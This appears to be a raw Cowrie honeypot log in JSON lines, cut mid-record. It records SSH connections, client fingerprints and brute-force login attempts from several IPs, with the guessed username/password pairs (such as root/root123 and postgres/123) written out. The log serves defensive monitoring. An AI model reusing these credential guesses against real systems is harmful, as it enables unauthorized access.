{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:26.598402Z","src_ip":"43.163.119.215","session":"9230073d8230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":47130,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c83c12236c3","protocol":"ssh","message":"New connection: 103.75.199.4:47130 (159.203.135.109:22) [session: 1c83c12236c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:27.005485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:27.010756Z","src_ip":"103.75.199.4","session":"1c83c12236c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:27.107166Z","src_ip":"103.75.199.4","session":"1c83c12236c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:27.338531Z","src_ip":"43.163.119.215","session":"9230073d8230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:27.396343Z","src_ip":"103.75.199.4","session":"1c83c12236c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:27.749266Z","src_ip":"43.163.119.215","session":"f60fe2f77f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:28.494653Z","src_ip":"103.75.199.4","session":"1c83c12236c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:28.587842Z","src_ip":"43.163.119.215","session":"9230073d8230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":53838,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f42b50f317a","protocol":"ssh","message":"New connection: 163.7.9.84:53838 (10.17.0.5:22) [session: 5f42b50f317a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:29.428585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:29.433077Z","src_ip":"163.7.9.84","session":"5f42b50f317a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:29.683305Z","src_ip":"163.7.9.84","session":"5f42b50f317a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calimero","message":"login attempt [root/calimero] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:30.713692Z","src_ip":"163.7.9.84","session":"5f42b50f317a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:31.966734Z","src_ip":"163.7.9.84","session":"5f42b50f317a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":41212,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4e8e743d431","protocol":"ssh","message":"New connection: 154.83.196.237:41212 (159.203.135.109:22) [session: b4e8e743d431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:45.992348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:45.997684Z","src_ip":"154.83.196.237","session":"b4e8e743d431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:46.114429Z","src_ip":"154.83.196.237","session":"b4e8e743d431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2084","message":"login attempt [root/2084] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:46.611233Z","src_ip":"154.83.196.237","session":"b4e8e743d431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":39762,"dst_ip":"10.17.0.5","dst_port":22,"session":"25763db6acde","protocol":"ssh","message":"New connection: 43.163.119.215:39762 (10.17.0.5:22) [session: 25763db6acde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:46.954424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:46.959955Z","src_ip":"43.163.119.215","session":"25763db6acde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:47.201058Z","src_ip":"43.163.119.215","session":"25763db6acde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:47.729780Z","src_ip":"154.83.196.237","session":"b4e8e743d431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:48.213314Z","src_ip":"43.163.119.215","session":"25763db6acde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48112,"dst_ip":"159.203.135.109","dst_port":22,"session":"a756bec89273","protocol":"ssh","message":"New connection: 103.75.199.4:48112 (159.203.135.109:22) [session: a756bec89273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:48.930666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:48.935377Z","src_ip":"103.75.199.4","session":"a756bec89273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:49.026891Z","src_ip":"103.75.199.4","session":"a756bec89273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:49.301033Z","src_ip":"103.75.199.4","session":"a756bec89273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:49.453054Z","src_ip":"43.163.119.215","session":"25763db6acde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":34744,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f72751a6b34","protocol":"ssh","message":"New connection: 202.29.225.206:34744 (159.203.135.109:22) [session: 9f72751a6b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:50.276731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:50.285148Z","src_ip":"202.29.225.206","session":"9f72751a6b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:50.393233Z","src_ip":"103.75.199.4","session":"a756bec89273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:50.532954Z","src_ip":"202.29.225.206","session":"9f72751a6b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":55050,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6811df6a1ae","protocol":"ssh","message":"New connection: 43.163.119.215:55050 (10.17.0.5:22) [session: f6811df6a1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:51.262720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:51.277230Z","src_ip":"43.163.119.215","session":"f6811df6a1ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:51.504330Z","src_ip":"43.163.119.215","session":"f6811df6a1ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eclipse","message":"login attempt [root/eclipse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:51.567328Z","src_ip":"202.29.225.206","session":"9f72751a6b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:52.407110Z","src_ip":"43.163.119.215","session":"f6811df6a1ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:52.821294Z","src_ip":"202.29.225.206","session":"9f72751a6b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:53.639268Z","src_ip":"43.163.119.215","session":"f6811df6a1ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.76062893867493,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:56.180227Z","src_ip":"199.103.57.63","session":"431c6a7445c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":45940,"dst_ip":"10.17.0.5","dst_port":22,"session":"6764ce1b8eef","protocol":"ssh","message":"New connection: 67.102.183.113:45940 (10.17.0.5:22) [session: 6764ce1b8eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:56.635297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:20:56.640132Z","src_ip":"67.102.183.113","session":"6764ce1b8eef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com",